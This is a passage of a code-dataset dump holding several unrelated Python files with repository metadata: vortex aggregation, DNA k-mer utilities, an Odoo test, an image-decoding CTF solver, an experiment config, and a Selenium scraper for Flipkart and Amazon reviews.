confidence(self):\n        return self.gamma\n\n\nclass MultiSubjectVortex(ClusterVortex):\n    '''\n        Extension of the cluster vortex class to support\n        vortices generated by aggregating ellipses that span\n        multiple subjects\n    '''\n    @property\n    def subject_ids(self):\n        return self.subject_ids_\n\n    @subject_ids.setter\n    def subject_ids(self, subject_ids):\n        self.subject_ids_ = subject_ids\n\n    @classmethod\n    def from_dict(cls, data):\n        obj = super(MultiSubjectVortex, cls).from_dict(data)\n        obj.set_color()\n        return obj\n\n    def set_color(self):\n        exts = self.extracts\n\n        colors = [ext.color for ext in exts]\n\n        un_colors, counts = np.unique(colors, return_counts=True)\n\n        # convert to an agreement fraction\n        counts = counts / np.sum(counts)\n\n        # the final color is the one with the most votes\n        self.color = un_colors[np.argmax(counts)]\n        self.colors = {un_colors[i]: counts[i] for i in range(len(counts))}\n\n    def as_dict(self):\n        outdict = super(MultiSubjectVortex, self).as_dict()\n\n        outdict['colors'] = self.colors\n\n        return outdict\n", "repo_name": "ramanakumars/jovian-vortex-hunter-aggregation", "sub_path": "CircleTheVortex/aggregation/vortex.py", "file_name": "vortex.py", "file_ext": "py", "file_size_in_byte": 8959, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "shape_utils.get_major_minor_axis", "line_number": 115, "usage_type": "call"}, {"api_name": "utils.pixel_to_lonlat", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 121, "usage_type": "call"}, {"api_name": "utils.vincenty", "line_number": 123, "usage_type": "call"}, {"api_name": "utils.vincenty", "line_number": 124, "usage_type": "call"}, {"api_name": "shape_utils.params_to_shape", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 130, "usage_type": "call"}, {"api_name": "utils.pixel_to_lonlat", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 143, "usage_type": "call"}, {"api_name": "utils.pixel_to_lonlat", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 253, "usage_type": "call"}, {"api_name": "shape_utils.IoU_metric", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 295, "usage_type": "call"}]}
{"seq_id": "24779397080", "text": "\"\"\"setup.py module for TRex test director package.\"\"\"\n\nimport setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"trex-test-scenario\",\n    version=\"0.0.1\",\n    author=\"Marcin Lembke\",\n    author_email=\"marcin.lembke@codilime.com\",\n    description=\"Simple tool for creating and running stateless TRex tests\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/codilime/trextestdirector\",\n    packages=setuptools.find_packages(),\n    install_requires=[\"PyYAML\"],\n    classifiers=[\n        \"Programming Language :: Python :: 3.6\",\n        \"License :: OSI Approved :: MIT License\",\n    ],\n    python_requires=\">=3.6\",\n)\n", "repo_name": "Dias-Eduardo/trextestdirector", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 740, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "setuptools.setup", "line_number": 8, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "28710974742", "text": "\"\"\"\nUtilities Module for DNA Sequence.\n\"\"\"\nimport os\nimport gzip\nimport numpy as np\nfrom collections import Counter\n\n__author__ = 'Magnus Isaksson'\n__credits__ = ['Magnus Isaksson']\n__version__ = '0.1.0'\n\nBASE_TO_NUMBER = {'A': 0, 'C': 1, 'G': 2, 'T': 3}\nNUMBER_TO_BASE = ('A', 'C', 'G', 'T')\nCOMPLEMENTARY_BASE = {'A': 'T', 'C': 'G', 'G': 'C', 'T': 'A',\n                      'R': 'Y', 'Y': 'R', 'S': 'S', 'W': 'W',\n                      'K': 'M', 'M': 'K', 'B': 'V', 'D': 'H',\n                      'H': 'D', 'V': 'B', 'N': 'N'}\n\n\ndef reverse_complement(sequence):\n    \"\"\" Creates reverse complement of provided DNA sequence.\n\n    Args:\n        sequence (str): DNA sequence (allowing A, C, G, T uppercase only)\n\n    Returns:\n        str: DNA sequence string.\n    \"\"\"\n    try:\n        return ''.join([COMPLEMENTARY_BASE[base]\n                        for base in reversed(sequence)])\n    except KeyError:\n        raise ValueError('Not able to reverse complement: %s' % sequence)\n\n\ndef patten2number(sequence):\n    \"\"\" Recurrent function for converting DNA sequence to an interger.\n\n    Args:\n        sequence (str): DNA sequence (allowing A, C, G, T uppercase only)\n\n    Returns:\n        int: Interger reprencitation for a four bases sequence.\n    \"\"\"\n    try:\n        if len(sequence) == 0:\n            return 0\n        last_base = sequence[-1]\n        prefix = sequence[:-1]\n        return 4 * patten2number(prefix) + BASE_TO_NUMBER[last_base]\n    except KeyError:\n        raise ValueError('Not able to convert nucleotide: %s' % last_base)\n\n\ndef number2patten(number, length):\n    \"\"\" Recurrent function for converting interger to DNA sequence.\n\n    Args:\n        number (int): Interger created by patten2number.\n        length (int): Original sequence length provided to patten2number.\n\n    Returns:\n        str: DNA sequence string.\n    \"\"\"\n    if length == 1:\n        return NUMBER_TO_BASE[number]\n    prefix_index = number // 4\n    base = NUMBER_TO_BASE[number % 4]\n    return number2patten(prefix_index, length - 1) + base\n\n\ndef multisize_patten2number(sequence, min_length, max_length):\n    \"\"\" Converts kmers with heterogeneous size into intergers.\n\n    Args:\n          sequence (str): DNA sequence (allowing A, C, G, T uppercase only)\n        min_length (int): Mininal kmer sizes.\n        max_length (int): Maximum kmer sizes.\n\n    Returns:\n        int: Interger reprencitation for a four bases sequence.\n    \"\"\"\n    lengths = np.arange(min_length, max_length + 1)\n    offsets = np.concatenate(([0], 4**lengths)).cumsum()\n\n    try:\n        index = np.where(lengths == len(sequence))[0][0]\n        return patten2number(sequence) + offsets[index]\n    except IndexError:\n        raise ValueError('Provided sequence length (%d nt) ' % len(sequence) +\n                         'not in list of provided lengths %s nt.' % lengths)\n\n\ndef number2multisize_patten(number, min_length, max_length):\n    \"\"\" Converts kmers with heterogeneous size into intergers.\n\n    Args:\n            number (int): Interger created by multisize_patten2number.\n        min_length (int): Mininal kmer sizes.\n        max_length (int): Maximum kmer sizes.\n\n    Returns:\n        str: DNA sequence string.\n    \"\"\"\n    lengths = np.arange(min_length, max_length + 2)  # +2 Include last interval\n    offsets = np.cumsum(4**lengths)\n\n    try:\n        index = np.where((offsets - number) > 0)[0][0]\n        org_length = lengths[index]\n        number -= np.concatenate(([0], offsets))[index]\n        return number2patten(number, org_length)\n    except IndexError:\n        raise ValueError('Provided number (%d) do not match ' % number +\n                         'list of provided lengths %s nt.' % lengths)\n\n\ndef gc(sequence):\n    \"\"\" Computes GC-ratio for a DNA sequence.\n\n    Args:\n        sequence (str): DNA sequence string\n\n    Returns:\n        float: Ratio of Gs + Cs within provided DNA string.\n    \"\"\"\n    sequence = sequence.upper()\n    return (sequence.count('G') + sequence.count('C')) / float(len(sequence))\n\n\ndef sequence_entropy(sequence):\n    \"\"\" Computes Shannon entropy for provided DNA sequence.\n\n    S = -sum( p_i * log2(p_i) )\n\n    where p_i is s the probability of character number i\n    showing up in sequence.\n\n    Args:\n        sequence (str): DNA sequence string\n\n    Returns:\n        float: Shannon entropy value.\n    \"\"\"\n    c = Counter(sequence.upper())\n    tot = float(sum(c.values()))\n    c = {k: v / tot for k, v in c.items()}\n    return -1 * sum(c * np.log2(c) for b, c in c.items())\n\n\ndef isgzip(filename):\n    \"\"\" Function checks gzip files magic number\n\n    Args:\n        filename (str): Path to file to test.\n\n    Returns:\n        boolean: True = gzip magic number exist (this is a gzip file).\n    \"\"\"\n    magic_number = b'\\x1f\\x8b\\x08'\n    with open(filename, 'rb') as f:\n        file_start = f.read(len(magic_number))\n\n    if magic_number == file_start:\n        return True\n    return False\n\n\ndef kmer_vector2tsv_file(filename, kmer_vector, min_length, max_length,\n                         enable_gzip=False):\n    \"\"\" Converting the data structure kmer-vector to a human readable\n    tsv file.\n\n    Args:\n            filename (str): Output tsv filename.\n        kmer_vector (iter): Iterable object where index correspond to kmer\n                            sequence and value equals kmer frequency.\n                            (Use number2patten to convert index into sequence)\n          min_length (int): Mininal kmer sizes (see multisize_patten2number).\n          max_length (int): Maximum kmer sizes (see multisize_patten2number).\n     enable_gzip (boolean): If true gzip compress output file.\n\n    Returns:\n        filename (str): Return full file path if successfull.\n    \"\"\"\n    try:\n        fh = gzip.open if enable_gzip else open\n        with fh(filename, 'wt') as out:\n            for index, count in enumerate(kmer_vector):\n                seq = number2multisize_patten(index, min_length, max_length)\n                out.write('{seq}\\t{count}\\n'.format(seq=seq,\n                                                    count=count))\n        return filename\n    except Exception:\n        print('Not able to create [%s]\\n' % filename)\n        raise\n\n\ndef tsv_file2kmer_vector(filename, min_length, max_length):\n    \"\"\" Reads a kmer count tsv file into a numpy array object.\n\n    Args:\n          filename (str): Input kmer count tsv filename.\n        min_length (int): Mininal kmer sizes.\n        max_length (int): Maximum kmer sizes.\n\n    Returns:\n        kmer_vector (numpy): Numpy array object where index correspond to kmer\n                             sequence, and value equals kmer frequency.\n    \"\"\"\n    kmer_sizes = np.arange(min_length, max_length + 1)\n\n    try:\n        fh = gzip.open if isgzip(filename) else open\n        with fh(filename, 'rt') as f:\n            for i, rec in enumerate(f):\n                seq, count = rec.strip().split()\n\n                if i == 0:\n                    vocabulary_size = np.sum(4**kmer_sizes)\n                    kmer_vector = np.array([0] * vocabulary_size,\n                                           dtype=np.uint32)\n\n                assert len(seq) in kmer_sizes\n                num_seq = multisize_patten2number(seq, min_length, max_length)\n                kmer_vector[num_seq] += int(count)\n\n        return kmer_vector\n\n    except Exception:\n        print('Not able to read file [%s]\\n' % filename)\n        raise\n\n\ndef max_min_kmer_sizes(filename):\n    \"\"\" Reads a kmer count tsv file and finds max and min length.\n\n    Args:\n        filename (str): Input kmer count tsv filename.\n\n    Returns:\n        tuple (int, int): Shortest and longest kmer in nt.\n    \"\"\"\n    try:\n        fh = gzip.open if isgzip(filename) else open\n        with fh(filename, 'rt') as f:\n            kmer_sizes = np.array([len(rec.split()[0]) for rec in f])\n\n        return kmer_sizes.min(), kmer_sizes.max()\n\n    except Exception:\n        print('Not able to read file [%s]\\n' % filename)\n        raise\n\n\ndef slice_out_kmer(obj, length, min_length, max_length):\n    \"\"\" Slicing a iteratable object based on kmer size, for\n    example a list of kmer embeddings.\n\n    Args:\n         obj (e.g. List): A slicable Python object.\n            length (int): Kmer sequence length to slice out.\n        min_length (int): Mininal kmer sizes.\n        max_length (int): Maximum kmer sizes.\n\n    Returns:\n        Sliced copy of provided object.\n    \"\"\"\n    lengths = np.arange(min_length, max_length + 1)\n    offsets = np.concatenate(([0], 4**lengths)).cumsum()\n\n    assert min_length <= length <= max_length\n    index = np.where(lengths == length)[0][0]\n\n    return obj[offsets[index]:offsets[index + 1]]\n\n\ndef read_faidx(filename, filter_strs):\n    \"\"\" Parsing fasta index file.\n\n    Args:\n           filename (str): Path to fasta index file or fasta file.\n                           This function tries to guess the correct\n                           path to the fasta index file if fasta file\n                           path is provided.\n       filter_strs (list): List of strings to ignore in parent\n                           name.\n    Returns:\n        dict: With parents/chromosome id as key and size (bp) as value.\n    \"\"\"\n    if not filename.endswith('.fai'):\n        # Try to find fai file.\n        fai_candidates = [filename + '.fai',\n                          filename.rstrip('.fa') + '.fai',\n                          filename.rstrip('.gz') + '.fai']\n        try:\n            faidx_file = [os.path.isfile(c)\n                          for c in fai_candidates].index(True)\n            faidx_file = fai_candidates[faidx_file]\n        except ValueError:\n            raise IOError('Could not find valid faidx for [%s]i\\n' % filename)\n    else:\n        faidx_file = filename\n\n    try:\n        chroms = {}\n        with open(faidx_file) as faidx:\n            for record in faidx:\n                col = record.strip().split()\n                name, length = col[0], int(col[1])\n                if not any([ignore in name for ignore in filter_strs]):\n                    chroms[name] = length\n        return chroms\n    except Exception:\n        print('Could not read faidx file [%s]' % faidx_file)\n        raise\n", "repo_name": "mais4719/kmer2vec", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 10138, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.arange", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 112, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 149, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 212, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 215, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 223, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 246, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 270, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path", "line_number": 298, "usage_type": "attribute"}]}
{"seq_id": "7164580376", "text": "import os\nimport pytest\nfrom pathlib import Path\nfrom mock import patch\nfrom odoo_tools.api.context import Context\n\n\ndef test_context_default_odoorc(tmp_path):\n    new_env = {\n        \"HOME\": str(tmp_path)\n    }\n\n    with patch.dict(os.environ, new_env, clear=True):\n        ctx = Context()\n        assert ctx.default_odoorc() == Path.cwd() / 'odoo.cfg'\n\n    new_env = {\n        \"HOME\": str(tmp_path),\n    }\n\n    with patch.dict(os.environ, new_env, clear=True):\n        odoo_rc = tmp_path / '.odoorc'\n        with odoo_rc.open('w') as fout:\n            fout.write('')\n\n        ctx = Context()\n        assert ctx.default_odoorc() == odoo_rc\n\n    ctx = Context()\n    assert ctx.default_odoorc() == Path.cwd() / 'odoo.cfg'\n    assert ctx.odoo_rc == Path.cwd() / 'odoo.cfg'\n", "repo_name": "odoo-plus/odootools", "sub_path": "tests/test_api_context.py", "file_name": "test_api_context.py", "file_ext": "py", "file_size_in_byte": 771, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "81", "api": [{"api_name": "mock.patch.dict", "line_number": 13, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 13, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "odoo_tools.api.context.Context", "line_number": 14, "usage_type": "call"}, {"api_name": "pathlib.Path.cwd", "line_number": 15, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "name"}, {"api_name": "mock.patch.dict", "line_number": 21, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 21, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "odoo_tools.api.context.Context", "line_number": 26, "usage_type": "call"}, {"api_name": "odoo_tools.api.context.Context", "line_number": 29, "usage_type": "call"}, {"api_name": "pathlib.Path.cwd", "line_number": 30, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 30, "usage_type": "name"}, {"api_name": "pathlib.Path.cwd", "line_number": 31, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 31, "usage_type": "name"}]}
{"seq_id": "73114330505", "text": "from PIL import Image\nbcapng2 = open(\"chall.bcapng2\", \"rb\").read()\nwidth = bcapng2[0]\nheight = bcapng2[1]\npixels = int.from_bytes(bcapng2[2:],\"big\")\nimg = Image.new(mode=\"RGB\", size=(width,height))\nfor i in range(img.height-1,-1,-1):\n    for j in range(img.width-1,-1,-1):\n        if pixels%3 == 0:\n            img.putpixel((j,i),(255,255,255))\n        elif pixels%3 == 1:\n            img.putpixel((j,i),(255,37,0))\n        else:\n            img.putpixel((j,i), (0,0,0))\n        pixels = pixels // 3\nimg.save(\"out.png\")", "repo_name": "BCACTF/bcactf-3.0", "sub_path": "bcapng2/solve.py", "file_name": "solve.py", "file_ext": "py", "file_size_in_byte": 519, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PIL.Image.new", "line_number": 6, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 6, "usage_type": "name"}]}
{"seq_id": "16611034540", "text": "import os\nimport colorama\n\ndef init_workspace(v=False, _python_filename=\"\"):\n    colorama.init(autoreset=False)\n    global db_path_kitti_mots\n    global masks_path_kitti_mots\n    global imgs_path_kitti_mots\n    global db_path_mots_challenge\n    global masks_path_mots_challenge\n    global imgs_path_mots_challenge\n    global output_path\n    global txt_results_path\n    global gen_img_path\n    global pkl_path\n    global pkl_train_path\n    global pkl_val_path\n    global training_pkl\n    global validation_pkl\n    global train_pkl_kitti_mots\n    global val_pkl_kitti_mots\n    global train_pkl_mots_challenge\n    global val_pkl_mots_challenge\n    global train_combo\n    global val_combo\n    global thing_classes\n    global mask_rcnn_models\n    global mask_rcnn_results\n    global cityscapes_models\n    global cityscapes_results\n    global python_filename\n    global verbose\n    global thing_colors\n\n\n\n    python_filename = _python_filename\n    verbose = v\n    pkl_path = \"datasetpkl\"\n    pkl_train_path = f\"{pkl_path}/train\"\n    pkl_val_path = f\"{pkl_path}/val\"\n\n    train_pkl_kitti_mots = f\"{pkl_train_path}/train_kitti_mots.pkl\"\n    train_pkl_mots_challenge = f\"{pkl_train_path}/train_mots_challenge.pkl\"\n    training_pkl = f\"{pkl_train_path}/training.pkl\"\n\n    val_pkl_kitti_mots = f\"{pkl_val_path}/val_kitti_mots.pkl\"\n    val_pkl_mots_challenge = f\"{pkl_val_path}/val_mots_challenge.pkl\"\n    validation_pkl = f\"{pkl_val_path}/validation.pkl\"\n\n    output_path = f\"outputs/{python_filename}\"\n    txt_results_path = f\"{output_path}/txt_results\" \n    gen_img_path = f\"{output_path}\"    \n\n    if not os.path.exists(output_path):\n        if verbose:\n            print(colorama.Fore.MAGENTA + f\"Creating {output_path}\")\n        os.makedirs(output_path)\n\n    if not os.path.exists(txt_results_path):\n        if verbose:\n            print(colorama.Fore.MAGENTA + f\"Creating {txt_results_path}\")\n        os.makedirs(txt_results_path)\n\n    if not os.path.exists(gen_img_path):\n        if verbose:\n            print(colorama.Fore.MAGENTA + f\"Creating {gen_img_path}\")\n        os.makedirs(gen_img_path)\n\n    if not os.path.exists(pkl_path):\n        if verbose:\n            print(colorama.Fore.MAGENTA + f\"Creating {pkl_path}\")\n        os.makedirs(pkl_path)\n\n    if not os.path.exists(pkl_train_path):\n        if verbose:\n            print(colorama.Fore.MAGENTA + f\"Creating {pkl_train_path}\")\n        os.makedirs(pkl_train_path)\n\n    if not os.path.exists(pkl_val_path):\n        if verbose:\n            print(colorama.Fore.MAGENTA + f\"Creating {pkl_val_path}\")\n        os.makedirs(pkl_val_path)\n\n\n\n    thing_classes = [\"Person\", \"Other\", \"Car\"]\n    thing_colors = [(50,255,50), (102,255,255), (255,50,255)]\n\n    base_dir = \"../resources\"\n    db_path_kitti_mots = f\"{base_dir}/KITTI-MOTS\"\n    db_path_mots_challenge = f\"{base_dir}/MOTSChallenge\"\n    masks_path_kitti_mots = f\"{db_path_kitti_mots}/instances\"\n    imgs_path_kitti_mots = f\"{db_path_kitti_mots}/training/image_02\"\n    masks_path_mots_challenge = f\"{db_path_mots_challenge}/instances\"\n    imgs_path_mots_challenge = f\"{db_path_mots_challenge}/train/images\"\n\n    mask_rcnn_models = {\n        # \"R50-FPN_x1\" : \"COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_1x.yaml\",\n        \"R50-FPN_x3\" : \"COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml\",\n        # \"R101-FPN_x3\" : \"COCO-InstanceSegmentation/mask_rcnn_R_101_FPN_3x.yaml\",\n        # \"X101-FPN_x3\" : \"COCO-InstanceSegmentation/mask_rcnn_X_101_32x8d_FPN_3x.yaml\",\n        # \"R50-DC5_x1\" : \"COCO-InstanceSegmentation/mask_rcnn_R_50_DC5_1x.yaml\",\n        \"R50-DC5_x3\" : \"COCO-InstanceSegmentation/mask_rcnn_R_50_DC5_3x.yaml\",\n        # \"R101-DC5_x3\" : \"COCO-InstanceSegmentation/mask_rcnn_R_101_DC5_3x.yaml\",\n        # \"R50-C4_x1\" : \"COCO-InstanceSegmentation/mask_rcnn_R_50_C4_1x.yaml\",\n        # \"R50-C4_x3\" : \"COCO-InstanceSegmentation/mask_rcnn_R_50_C4_3x.yaml\",\n        # \"R101-C4_x3\" : \"COCO-InstanceSegmentation/mask_rcnn_R_101_C4_3x.yaml\",\n        \"City-R50-FPN\" : \"Cityscapes/mask_rcnn_R_50_FPN.yaml\",\n        \n    }\n    mask_rcnn_results = {\n        # \"R50-FPN_x1\" : \"\",\n        \"R50-FPN_x3\" : \"\", #######\n        # \"R101-FPN_x3\" : \"\",\n        # \"X101-FPN_x3\" : \"\",\n        # \"R50-DC5_x1\" : \"\",\n        \"R50-DC5_x3\" : \"\",\n        # \"R101-DC5_x3\" : \"\",\n        # \"R50-C4_x1\" : \"\",\n        # \"R50-C4_x3\" : \"\",\n        # \"R101-C4_x3\" : \"\",\n        \"City-R50-FPN\" : \"\",\n    }\n\n    cityscapes_models = {\n        \"R50-FPN\" : \"Cityscapes/mask_rcnn_R_50_FPN.yaml\"\n    }\n    cityscapes_results = {\n        \"R50-FPN\" : \"\"\n    }\n\ndef create_txt_results_path(target_path):\n    if not os.path.exists(target_path):\n        if verbose:\n            print(colorama.Fore.MAGENTA + f\"Creating {target_path}\")\n        os.makedirs(target_path)\n", "repo_name": "drkztan/MCV_M5_VR_G04", "sub_path": "W4/src/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 4732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "colorama.init", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 137, "usage_type": "call"}]}
{"seq_id": "4318345171", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 23 21:02:51 2020\n\n@author: Dell\n\"\"\"\n\nimport time\nfrom selenium.webdriver.chrome.options import Options\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport json\n\n# The configurations we will be using when initializing a browser instance.\nDRIVER_PATH = '/usr/lib/chromium-browser/chromedriver'\noptions = Options()\noptions.headless = True\noptions.add_argument(\"--window-size=1920,1200\")\n\ndef scrap_flipkart(search_text):\n    # Create an instance of Chrome. This will open a headless browser.\n    driver = webdriver.Chrome(options=options, executable_path=DRIVER_PATH)\n    # Open Flipkart\n    driver.get('https://www.flipkart.com')\n    \n    # Wait for the page to.\n    time.sleep(5)\n    # Close the login dialog.\n    driver.find_element_by_class_name('_2AkmmA._29YdH8').click()\n\n    # Wait for things to initialize.\n    time.sleep(5)\n    # Find the search bar.\n    user_input = driver.find_element_by_class_name('LM6RPg')\n    # Acquire focus of search bar.\n    user_input.click()\n\n    # initiate a new input variable here to take the apps response instead of Redmi note 5 \n    user_input.send_keys(search_text) # follow as per the app response (refer above line)\n    \n    time.sleep(5)    \n    driver.find_element_by_class_name('vh79eN').click()\n    \n    time.sleep(5)\n    driver.find_element_by_class_name('_3wU53n').click()\n    \n    time.sleep(5)\n    driver.switch_to.window(driver.window_handles[1])\n\n    driver.get(driver.current_url)\n\n    def strip_read_more(text):\n        if text.endswith(\"READ MORE\"):\n            return text[0:len(text) - 9]\n        return text\n\n    result = []\n    driver.find_element_by_class_name(\"swINJg._3nrCtb\").click()\n    time.sleep(5)\n\n    page_url=driver.current_url\n    for k in range(1, 3):\n        new_page_url = (str(page_url) + \"&page=\" + str(k))    \n        driver.get(new_page_url)        \n        [item.click() for item in driver.find_elements_by_class_name(\"_1EPkIx\")]\n        time.sleep(1)\n        driver.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\")\n        time.sleep(1)\n        soup = BeautifulSoup(driver.page_source, 'lxml')\n        for items in soup:\n            review_titles = soup.find_all(\"p\",{\"class\" : \"_2xg6Ul\"})# rev title\n            review_contents = soup.find_all(\"div\",{\"class\" : \"qwjRop\"})#rev\n            customer_names = soup.find_all(\"p\",{\"class\" : \"_3LYOAd _3sxSiS\"})#customer name\n            ratings_list = soup.find_all(\"div\",{\"class\" : \"hGSR34 E_uFuv\"})#ratings\n            dates = soup.find_all(\"p\",{\"class\" : \"_3LYOAd\"})\n\n            filtered_dates = []\n            for date in dates:\n                if date.text.find(\",\") >= 0 or date.text.endswith(\"ago\"):\n                    filtered_dates.append(date)\n\n            for review_title, review_content, customer_name, ratings, date in zip(review_titles, review_contents, customer_names, ratings_list, filtered_dates):\n              result.append({\n                \"review_title\": review_title.text,\n                \"review_content\": strip_read_more(review_content.text),\n                \"customer_name\": customer_name.text,\n                \"ratings\": ratings.text,\n                \"date\": date.text,\n                \"platform\": \"flipkart\"\n              })\n\n    return result\n    #output_file = open(\"output.json\", \"a\")\n    #output = json.dumps(result, indent=4, sort_keys=True)\n    #output_file.write(output)\n\ndef scrap_amazon(search_text):\n    driver = webdriver.Chrome(options=options, executable_path=DRIVER_PATH)\n    driver.get('https://www.amazon.in')\n    driver.execute_script(f'var element = document.getElementById(\"twotabsearchtextbox\"); element.value = \"{search_text}\";')\n\n    user_input = driver.find_element_by_class_name('nav-search-submit.nav-sprite')\n    user_input.click()\n\n    driver.find_element_by_class_name('a-size-medium.a-color-base.a-text-normal').click()\n    time.sleep(5)\n\n    driver.switch_to.window(driver.window_handles[1])\n    new = driver.current_url        \n    driver.get(new)\n\n    driver.find_element_by_id(\"acrCustomerReviewText\").click()\n\n    #driver.find_element_by_class_name('a-link-emphasis.a-text-bold').click()\n    time.sleep(5)\n    base_url = driver.current_url\n\n    result = []\n    for k in range (1,3):\n        new_page_url = str(base_url) + \"&pageNumber=\" + str(k)\n        driver.get(new_page_url)\n        time.sleep(5)\n        \n        review_titles = driver.find_elements_by_xpath('//a[@data-hook=\"review-title\"]/span')\n        review_contents = driver.find_elements_by_xpath('//div[@data-hook=\"review-collapsed\"]/span')\n        customer_names = driver.find_elements_by_xpath('//span[@class=\"a-profile-name\"]')\n        ratings_list = driver.find_elements_by_xpath('//span[@class=\"a-icon-alt\"]')\n        dates = driver.find_elements_by_xpath('//span[@data-hook=\"review-date\"]')\n\n        for review_title, review_content, customer_name, ratings, date in zip(review_titles, review_contents, customer_names, ratings_list, dates):\n            result.append({\n                \"review_title\": review_title.text,\n                \"review_content\": review_content.text,\n                \"customer_name\": customer_name.text,\n                \"ratings\": ratings.text,\n                \"date\": date.text,\n                \"platform\": \"amazon\"\n            })\n\n    return result\n\n    #output = json.dumps(result, indent=4, sort_keys=True)\n    #print(output)", "repo_name": "itssamuelrowe/wc", "sub_path": "scraper.py", "file_name": "scraper.py", "file_ext": "py", "file_size_in_byte": 5389, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 16, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 22, "usage_type": "call"}, {"api_name": "selenium.webdriver", 